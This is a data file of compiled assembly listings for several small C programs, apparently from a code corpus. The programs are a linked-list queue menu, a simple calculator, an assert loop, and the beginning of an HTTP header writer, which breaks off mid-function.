%bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-16] str x1, [sp, #24] str x2, [sp, #16] ldur x8, [x29, #-16] ldr x8, [x8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB2_2 b LBB2_1 LBB2_1: adrp x0, l_.str.15@PAGE add x0, x0, l_.str.15@PAGEOFF bl _printf stur wzr, [x29, #-4] b LBB2_5 LBB2_2: ldur x8, [x29, #-16] ldr x8, [x8] str x8, [sp, #8] ldur x8, [x29, #-16] ldr x8, [x8] ldr w8, [x8] ldr x9, [sp, #16] str w8, [x9] ldur x8, [x29, #-16] ldr x8, [x8] ldr x9, [sp, #24] ldr x9, [x9] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB2_4 b LBB2_3 LBB2_3: ldr x8, [sp, #24] ; kill: def $x9 killed $xzr str xzr, [x8] ldur x8, [x29, #-16] str xzr, [x8] ldur x8, [x29, #-16] ldr x0, [x8] bl _free mov w8, #1 stur w8, [x29, #-4] b LBB2_5 LBB2_4: ldur x8, [x29, #-16] ldr x8, [x8] ldr x8, [x8, #8] ldur x9, [x29, #-16] str x8, [x9] ldr x0, [sp, #8] bl _free mov w8, #1 stur w8, [x29, #-4] b LBB2_5 LBB2_5: ldur w0, [x29, #-4] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .globl _peek ; -- Begin function peek .p2align 2 _peek: ; @peek .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #16] str x1, [sp, #8] ldr x8, [sp, #16] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB3_2 b LBB3_1 LBB3_1: adrp x0, l_.str.16@PAGE add x0, x0, l_.str.16@PAGEOFF bl _printf stur wzr, [x29, #-4] b LBB3_3 LBB3_2: ldr x8, [sp, #16] ldr w8, [x8] ldr x9, [sp, #8] str w8, [x9] mov w8, #1 stur w8, [x29, #-4] b LBB3_3 LBB3_3: ldur w0, [x29, #-4] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _display ; -- Begin function display .p2align 2 _display: ; @display .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] ldr x8, [sp, #8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB4_2 b LBB4_1 LBB4_1: adrp x0, l_.str.16@PAGE add x0, x0, l_.str.16@PAGEOFF bl _printf b LBB4_7 LBB4_2: adrp x0, l_.str.14@PAGE add x0, x0, l_.str.14@PAGEOFF bl _printf b LBB4_3 LBB4_3: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB4_6 b LBB4_4 LBB4_4: ; in Loop: Header=BB4_3 Depth=1 ldr x8, [sp, #8] ldr w9, [x8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.17@PAGE add x0, x0, l_.str.17@PAGEOFF bl _printf b LBB4_5 LBB4_5: ; in Loop: Header=BB4_3 Depth=1 ldr x8, [sp, #8] ldr x8, [x8, #8] str x8, [sp, #8] b LBB4_3 LBB4_6: adrp x0, l_.str.14@PAGE add x0, x0, l_.str.14@PAGEOFF bl _printf b LBB4_7 LBB4_7: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "\n----------MAIN MENU----------\n" l_.str.1: ; @.str.1 .asciz "\n1.ENQUEUE" l_.str.2: ; @.str.2 .asciz "\n2.DEQUEUE" l_.str.3: ; @.str.3 .asciz "\n3.PEEK" l_.str.4: ; @.str.4 .asciz "\n4.Display" l_.str.5: ; @.str.5 .asciz "\n5.Exit\n" l_.str.6: ; @.str.6 .asciz "\nEnter Choice: " l_.str.7: ; @.str.7 .asciz "%d" l_.str.8: ; @.str.8 .asciz "\nEnter Element: " l_.str.9: ; @.str.9 .asciz "\n%d Added\n" l_.str.10: ; @.str.10 .asciz "\n%d Deleted\n" l_.str.11: ; @.str.11 .asciz "\nPEEK = %d\n" l_.str.12: ; @.str.12 .asciz "\nDispalying Queue............\n" l_.str.13: ; @.str.13 .asciz "\nWRONG CHOICE\n" l_.str.14: ; @.str.14 .asciz "\n" l_.str.15: ; @.str.15 .asciz "\nUNDERFLOW\n" l_.str.16: ; @.str.16 .asciz "\nQUEUE IS EMPTY\n" l_.str.17: ; @.str.17 .asciz " %d" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movl $0, -4(%rbp) movq $0, -24(%rbp) movq $0, -32(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 leaq L_.str(%rip), %rdi xorl %eax, %eax ## kill: def $al killed $al killed $eax movb %al, -41(%rbp) ## 1-byte Spill callq _printf ## kill: def $ecx killed $eax movb -41(%rbp), %al ## 1-byte Reload leaq L_.str.1(%rip), %rdi callq _printf ## kill: def $ecx killed $eax movb -41(%rbp), %al ## 1-byte Reload leaq L_.str.2(%rip), %rdi callq _printf ## kill: def $ecx killed $eax movb -41(%rbp), %al ## 1-byte Reload leaq L_.str.3(%rip), %rdi callq _printf ## kill: def $ecx killed $eax movb -41(%rbp), %al ## 1-byte Reload leaq L_.str.4(%rip), %rdi callq _printf ## kill: def $ecx killed $eax movb -41(%rbp), %al ## 1-byte Reload leaq L_.str.5(%rip), %rdi callq _printf ## kill: def $ecx killed $eax movb -41(%rbp), %al ## 1-byte Reload leaq L_.str.6(%rip), %rdi callq _printf ## kill: def $ecx killed $eax movb -41(%rbp), %al ## 1-byte Reload leaq L_.str.7(%rip), %rdi leaq -8(%rbp), %rsi callq _scanf movl -8(%rbp), %eax decl %eax movl %eax, %ecx movq %rcx, -40(%rbp) ## 8-byte Spill subl $4, %eax ja LBB0_11 ## %bb.15: ## in Loop: Header=BB0_1 Depth=1 movq -40(%rbp), %rax ## 8-byte Reload leaq LJTI0_0(%rip), %rcx movslq (%rcx,%rax,4), %rax addq %rcx, %rax jmpq *%rax LBB0_2: ## in Loop: Header=BB0_1 Depth=1 leaq L_.str.8(%rip), %rdi movb $0, %al callq _printf leaq L_.str.7(%rip), %rdi leaq -12(%rbp), %rsi movb $0, %al callq _scanf movl -12(%rbp), %edx leaq -24(%rbp), %rdi leaq -32(%rbp), %rsi callq _enque movl -12(%rbp), %esi leaq L_.str.9(%rip), %rdi movb $0, %al callq _printf jmp LBB0_12 LBB0_3: ## in Loop: Header=BB0_1 Depth=1 leaq -24(%rbp), %rdi leaq -32(%rbp), %rsi leaq -12(%rbp), %rdx callq _deque cmpl $0, %eax je LBB0_5 ## %bb.4: ## in Loop: Header=BB0_1 Depth=1 movl -12(%rbp), %esi leaq L_.str.10(%rip), %rdi movb $0, %al callq _printf LBB0_5: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_12 LBB0_6: ## in Loop: Header=BB0_1 Depth=1 movq -24(%rbp), %rdi leaq -12(%rbp), %rsi callq _peek cmpl $0, %eax je LBB0_8 ## %bb.7: ## in Loop: Header=BB0_1 Depth=1 movl -12(%rbp), %esi leaq L_.str.11(%rip), %rdi movb $0, %al callq _printf LBB0_8: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_12 LBB0_9: ## in Loop: Header=BB0_1 Depth=1 leaq L_.str.12(%rip), %rdi movb $0, %al callq _printf movq -24(%rbp), %rdi callq _display jmp LBB0_12 LBB0_10: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_12 LBB0_11: ## in Loop: Header=BB0_1 Depth=1 leaq L_.str.13(%rip), %rdi movb $0, %al callq _printf LBB0_12: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_13 LBB0_13: ## in Loop: Header=BB0_1 Depth=1 cmpl $5, -8(%rbp) jne LBB0_1 ## %bb.14: leaq L_.str.14(%rip), %rdi movb $0, %al callq _printf xorl %eax, %eax addq $48, %rsp popq %rbp retq .cfi_endproc .p2align 2, 0x90 .data_region jt32 .set L0_0_set_2, LBB0_2-LJTI0_0 .set L0_0_set_3, LBB0_3-LJTI0_0 .set L0_0_set_6, LBB0_6-LJTI0_0 .set L0_0_set_9, LBB0_9-LJTI0_0 .set L0_0_set_10, LBB0_10-LJTI0_0 LJTI0_0: .long L0_0_set_2 .long L0_0_set_3 .long L0_0_set_6 .long L0_0_set_9 .long L0_0_set_10 .end_data_region ## -- End function .globl _enque ## -- Begin function enque .p2align 4, 0x90 _enque: ## @enque .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movl %edx, -20(%rbp) movl $16, %edi callq _malloc movq %rax, -32(%rbp) movl -20(%rbp), %ecx movq -32(%rbp), %rax movl %ecx, (%rax) movq -32(%rbp), %rax movq $0, 8(%rax) movq -8(%rbp), %rax cmpq $0, (%rax) jne LBB1_2 ## %bb.1: movq -32(%rbp), %rcx movq -8(%rbp), %rax movq %rcx, (%rax) movq -32(%rbp), %rcx movq -16(%rbp), %rax movq %rcx, (%rax) jmp LBB1_3 LBB1_2: movq -32(%rbp), %rcx movq -16(%rbp), %rax movq (%rax), %rax movq %rcx, 8(%rax) movq -32(%rbp), %rcx movq -16(%rbp), %rax movq %rcx, (%rax) LBB1_3: addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _deque ## -- Begin function deque .p2align 4, 0x90 _deque: ## @deque .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -16(%rbp) movq %rsi, -24(%rbp) movq %rdx, -32(%rbp) movq -16(%rbp), %rax cmpq $0, (%rax) jne LBB2_2 ## %bb.1: leaq L_.str.15(%rip), %rdi movb $0, %al callq _printf movl $0, -4(%rbp) jmp LBB2_5 LBB2_2: movq -16(%rbp), %rax movq (%rax), %rax movq %rax, -40(%rbp) movq -16(%rbp), %rax movq (%rax), %rax movl (%rax), %ecx movq -32(%rbp), %rax movl %ecx, (%rax) movq -16(%rbp), %rax movq (%rax), %rax movq -24(%rbp), %rcx cmpq (%rcx), %rax jne LBB2_4 ## %bb.3: movq -24(%rbp), %rax movq $0, (%rax) movq -16(%rbp), %rax movq $0, (%rax) movq -16(%rbp), %rax movq (%rax), %rdi callq _free movl $1, -4(%rbp) jmp LBB2_5 LBB2_4: movq -16(%rbp), %rax movq (%rax), %rax movq 8(%rax), %rcx movq -16(%rbp), %rax movq %rcx, (%rax) movq -40(%rbp), %rdi callq _free movl $1, -4(%rbp) LBB2_5: movl -4(%rbp), %eax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _peek ## -- Begin function peek .p2align 4, 0x90 _peek: ## @peek .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -16(%rbp) movq %rsi, -24(%rbp) cmpq $0, -16(%rbp) jne LBB3_2 ## %bb.1: leaq L_.str.16(%rip), %rdi movb $0, %al callq _printf movl $0, -4(%rbp) jmp LBB3_3 LBB3_2: movq -16(%rbp), %rax movl (%rax), %ecx movq -24(%rbp), %rax movl %ecx, (%rax) movl $1, -4(%rbp) LBB3_3: movl -4(%rbp), %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _display ## -- Begin function display .p2align 4, 0x90 _display: ## @display .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) cmpq $0, -8(%rbp) jne LBB4_2 ## %bb.1: leaq L_.str.16(%rip), %rdi movb $0, %al callq _printf jmp LBB4_7 LBB4_2: leaq L_.str.14(%rip), %rdi movb $0, %al callq _printf LBB4_3: ## =>This Inner Loop Header: Depth=1 cmpq $0, -8(%rbp) je LBB4_6 ## %bb.4: ## in Loop: Header=BB4_3 Depth=1 movq -8(%rbp), %rax movl (%rax), %esi leaq L_.str.17(%rip), %rdi movb $0, %al callq _printf ## %bb.5: ## in Loop: Header=BB4_3 Depth=1 movq -8(%rbp), %rax movq 8(%rax), %rax movq %rax, -8(%rbp) jmp LBB4_3 LBB4_6: leaq L_.str.14(%rip), %rdi movb $0, %al callq _printf LBB4_7: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "\n----------MAIN MENU----------\n" L_.str.1: ## @.str.1 .asciz "\n1.ENQUEUE" L_.str.2: ## @.str.2 .asciz "\n2.DEQUEUE" L_.str.3: ## @.str.3 .asciz "\n3.PEEK" L_.str.4: ## @.str.4 .asciz "\n4.Display" L_.str.5: ## @.str.5 .asciz "\n5.Exit\n" L_.str.6: ## @.str.6 .asciz "\nEnter Choice: " L_.str.7: ## @.str.7 .asciz "%d" L_.str.8: ## @.str.8 .asciz "\nEnter Element: " L_.str.9: ## @.str.9 .asciz "\n%d Added\n" L_.str.10: ## @.str.10 .asciz "\n%d Deleted\n" L_.str.11: ## @.str.11 .asciz "\nPEEK = %d\n" L_.str.12: ## @.str.12 .asciz "\nDispalying Queue............\n" L_.str.13: ## @.str.13 .asciz "\nWRONG CHOICE\n" L_.str.14: ## @.str.14 .asciz "\n" L_.str.15: ## @.str.15 .asciz "\nUNDERFLOW\n" L_.str.16: ## @.str.16 .asciz "\nQUEUE IS EMPTY\n" L_.str.17: ## @.str.17 .asciz " %d" .subsections_via_symbols
the_stack_data/42029.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #192 .cfi_def_cfa_offset 192 stp x29, x30, [sp, #176] ; 16-byte Folded Spill add x29, sp, #176 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] str wzr, [sp, #64] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf add x0, sp, #68 str x0, [sp, #32] ; 8-byte Folded Spill bl _gets adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf mov x9, sp add x8, sp, #60 str x8, [x9] add x8, sp, #56 str x8, [x9, #8] adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _scanf ldr x8, [sp, #32] ; 8-byte Folded Reload ldr w9, [sp, #60] ldr w10, [sp, #56] add w9, w9, w10 str w9, [sp, #52] ldr w9, [sp, #60] ldr w10, [sp, #56] subs w9, w9, w10 str w9, [sp, #44] ldr w9, [sp, #60] ldr w10, [sp, #56] mul w9, w9, w10 str w9, [sp, #48] ldr s0, [sp, #60] scvtf s0, s0 ldr s1, [sp, #56] scvtf s1, s1 fdiv s0, s0, s1 str s0, [sp, #40] mov x9, sp str x8, [x9] adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _printf ldr w8, [sp, #60] ; implicit-def: $x11 mov x11, x8 ldr w8, [sp, #56] ; implicit-def: $x10 mov x10, x8 ldr w9, [sp, #52] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x11, [x9] str x10, [x9, #8] str x8, [x9, #16] adrp x0, l_.str.5@PAGE add x0, x0, l_.str.5@PAGEOFF bl _printf ldr w8, [sp, #60] ; implicit-def: $x11 mov x11, x8 ldr w8, [sp, #56] ; implicit-def: $x10 mov x10, x8 ldr w9, [sp, #44] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x11, [x9] str x10, [x9, #8] str x8, [x9, #16] adrp x0, l_.str.6@PAGE add x0, x0, l_.str.6@PAGEOFF bl _printf ldr w8, [sp, #60] ; implicit-def: $x11 mov x11, x8 ldr w8, [sp, #56] ; implicit-def: $x10 mov x10, x8 ldr w9, [sp, #48] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x11, [x9] str x10, [x9, #8] str x8, [x9, #16] adrp x0, l_.str.7@PAGE add x0, x0, l_.str.7@PAGEOFF bl _printf ldr w8, [sp, #60] ; implicit-def: $x10 mov x10, x8 ldr w8, [sp, #56] ; implicit-def: $x9 mov x9, x8 ldr s0, [sp, #40] fcvt d0, s0 mov x8, sp str x10, [x8] str x9, [x8, #8] str d0, [x8, #16] adrp x0, l_.str.8@PAGE add x0, x0, l_.str.8@PAGEOFF bl _printf ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: bl ___stack_chk_fail LBB0_2: mov w0, #0 ldp x29, x30, [sp, #176] ; 16-byte Folded Reload add sp, sp, #192 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "simple calculator!/n" l_.str.1: ; @.str.1 .asciz "enter your name;" l_.str.2: ; @.str.2 .asciz "enter two integers;" l_.str.3: ; @.str.3 .asciz "%d,%d" l_.str.4: ; @.str.4 .asciz "hey %s, here are the results;/n" l_.str.5: ; @.str.5 .asciz "%d+%d/n" l_.str.6: ; @.str.6 .asciz "%d-%d/n" l_.str.7: ; @.str.7 .asciz "%d*%d/n" l_.str.8: ; @.str.8 .asciz "%d/%d=%f/n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $144, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $0, -116(%rbp) leaq L_.str(%rip), %rdi movb $0, %al callq _printf leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf leaq -112(%rbp), %rdi callq _gets leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf leaq L_.str.3(%rip), %rdi leaq -120(%rbp), %rsi leaq -124(%rbp), %rdx movb $0, %al callq _scanf movl -120(%rbp), %eax addl -124(%rbp), %eax movl %eax, -128(%rbp) movl -120(%rbp), %eax subl -124(%rbp), %eax movl %eax, -136(%rbp) movl -120(%rbp), %eax imull -124(%rbp), %eax movl %eax, -132(%rbp) cvtsi2ssl -120(%rbp), %xmm0 cvtsi2ssl -124(%rbp), %xmm1 divss %xmm1, %xmm0 movss %xmm0, -140(%rbp) leaq -112(%rbp), %rsi leaq L_.str.4(%rip), %rdi movb $0, %al callq _printf movl -120(%rbp), %esi movl -124(%rbp), %edx movl -128(%rbp), %ecx leaq L_.str.5(%rip), %rdi movb $0, %al callq _printf movl -120(%rbp), %esi movl -124(%rbp), %edx movl -136(%rbp), %ecx leaq L_.str.6(%rip), %rdi movb $0, %al callq _printf movl -120(%rbp), %esi movl -124(%rbp), %edx movl -132(%rbp), %ecx leaq L_.str.7(%rip), %rdi movb $0, %al callq _printf movl -120(%rbp), %esi movl -124(%rbp), %edx movss -140(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 leaq L_.str.8(%rip), %rdi movb $1, %al callq _printf movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB0_2 ## %bb.1: xorl %eax, %eax addq $144, %rsp popq %rbp retq LBB0_2: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "simple calculator!/n" L_.str.1: ## @.str.1 .asciz "enter your name;" L_.str.2: ## @.str.2 .asciz "enter two integers;" L_.str.3: ## @.str.3 .asciz "%d,%d" L_.str.4: ## @.str.4 .asciz "hey %s, here are the results;/n" L_.str.5: ## @.str.5 .asciz "%d+%d/n" L_.str.6: ## @.str.6 .asciz "%d-%d/n" L_.str.7: ## @.str.7 .asciz "%d*%d/n" L_.str.8: ## @.str.8 .asciz "%d/%d=%f/n" .subsections_via_symbols
the_stack_data/956531.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _f00 ; -- Begin function f00 .p2align 2 _f00: ; @f00 .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] str wzr, [sp, #4] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #4] ldr x9, [sp, #8] ldr w9, [x9] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_7 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #4] subs w8, w8, #10 cset w9, ge ; implicit-def: $x8 mov x8, x9 ands x8, x8, #0x1 cset w8, eq tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: adrp x0, l___func__.f00@PAGE add x0, x0, l___func__.f00@PAGEOFF adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF mov w2, #8 adrp x3, l_.str.1@PAGE add x3, x3, l_.str.1@PAGEOFF bl ___assert_rtn LBB0_4: ; in Loop: Header=BB0_1 Depth=1 b LBB0_5 LBB0_5: ; in Loop: Header=BB0_1 Depth=1 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #4] add w8, w8, #1 str w8, [sp, #4] b LBB0_1 LBB0_7: mov w0, #0 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w8, #0 str w8, [sp, #8] ; 4-byte Folded Spill stur wzr, [x29, #-4] adrp x0, _array@PAGE add x0, x0, _array@PAGEOFF bl _f00 ldr w0, [sp, #8] ; 4-byte Folded Reload ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .section __DATA,__data .globl _array ; @array .p2align 2 _array: .long 0 ; 0x0 .long 1 ; 0x1 .long 2 ; 0x2 .long 3 ; 0x3 .section __TEXT,__cstring,cstring_literals l___func__.f00: ; @__func__.f00 .asciz "f00" l_.str: ; @.str .asciz "225371.c" l_.str.1: ; @.str.1 .asciz "i < 10" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _f00 ## -- Begin function f00 .p2align 4, 0x90 _f00: ## @f00 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movl $0, -12(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 movl -12(%rbp), %eax movq -8(%rbp), %rcx cmpl (%rcx), %eax jge LBB0_7 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 cmpl $10, -12(%rbp) setl %al xorb $-1, %al andb $1, %al movzbl %al, %eax cltq cmpq $0, %rax je LBB0_4 ## %bb.3: leaq L___func__.f00(%rip), %rdi leaq L_.str(%rip), %rsi leaq L_.str.1(%rip), %rcx movl $8, %edx callq ___assert_rtn LBB0_4: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_5 LBB0_5: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_6 LBB0_6: ## in Loop: Header=BB0_1 Depth=1 movl -12(%rbp), %eax addl $1, %eax movl %eax, -12(%rbp) jmp LBB0_1 LBB0_7: xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) leaq _array(%rip), %rdi callq _f00 xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __DATA,__data .globl _array ## @array .p2align 4 _array: .long 0 ## 0x0 .long 1 ## 0x1 .long 2 ## 0x2 .long 3 ## 0x3 .section __TEXT,__cstring,cstring_literals L___func__.f00: ## @__func__.f00 .asciz "f00" L_.str: ## @.str .asciz "225371.c" L_.str.1: ## @.str.1 .asciz "i < 10" .subsections_via_symbols
the_stack_data/225371.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _handle_error ; -- Begin function handle_error .p2align 2 _handle_error: ; @handle_error .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] adrp x8, ___stderrp@GOTPAGE ldr x8, [x8, ___stderrp@GOTPAGEOFF] str x8, [sp, #8] ; 8-byte Folded Spill ldr x0, [x8] ldur x8, [x29, #-8] mov x9, sp str x8, [x9] adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF bl _fprintf ldr x8, [sp, #8] ; 8-byte Folded Reload ldr x8, [x8] str x8, [sp, #16] ; 8-byte Folded Spill bl ___error mov x8, x0 ldr x0, [sp, #16] ; 8-byte Folded Reload ldr w9, [x8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF bl _fprintf mov w0, #1 bl _exit .cfi_endproc ; -- End function .globl _send_http_header ; -- Begin function send_http_header .p2align 2 _send_http_header: ; @send_http_header .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 sub sp, sp, #1136 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-24] str w0, [sp, #100] str w1, [sp, #96] str x2, [sp, #88] str x3, [sp, #80] str w4, [sp, #76] ldr w8, [sp, #96] ; implicit-def: $x10 mov x10, x8 ldr x8, [sp, #88] mov x9, sp str x10, [x9] str x8, [x9, #8] add x0, sp, #104 str x0, [sp, #48] ; 8-byte Folded Spill mov x3, #1024 str x3, [sp, #40] ; 8-byte Folded Spill mov x1, x3 mov w2, #0 str w2, [sp, #36] ; 4-byte Folded Spill adrp x4, l_.str.2@PAGE add x4, x4, l_.str.2@PAGEOFF bl ___snprintf_chk ldr x0, [sp, #48] ; 8-byte Folded Reload ldr w8, [sp, #100] str w8, [sp, #28] ; 4-byte Folded Spill bl _strlen ldr x1, [sp, #48] ; 8-byte Folded Reload mov x2, x0 ldr w0, [sp, #28] ; 4-byte Folded Reload bl _write ldr w2, [sp, #36] ; 4-byte Folded Reload ldr x3, [sp, #40] ; 8-byte Folded Reload ldr x0, [sp, #48] ; 8-byte Folded Reload ldr w9, [sp, #76] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] mov x1, x3 adrp x4, l_.str.3@PAGE add x4, x4, l_.str.3@PAGEOFF bl ___snprintf_chk ldr x0, [sp, #48] ; 8-byte Folded Reload ldr w8, [sp, #100] str w8, [sp, #32] ; 4-byte Folded Spill bl _strlen ldr x1, [sp, #48] ; 8-byte Folded Reload mov x2, x0 ldr w0, [sp, #32] ; 4-byte Folded Reload bl _write ldr w2, [sp, #36] ; 4-byte Folded Reload ldr x3, [sp, #40] ; 8-byte Folded Reload ldr x0, [sp, #48] ; 8-byte Folded Reload ldr x8, [sp, #80] mov x9, sp str x8, [x9] mov x1, x3 adrp x4, l_.str.4@PAGE add x4, x4, l_.str.4@PAGEOFF bl ___snprintf_chk ldr x0, [sp, #48] ; 8-byte Folded Reload ldr w8, [sp, #100] str w8, [sp, #60] ; 4-byte Folded Spill bl _strlen ldr x1, 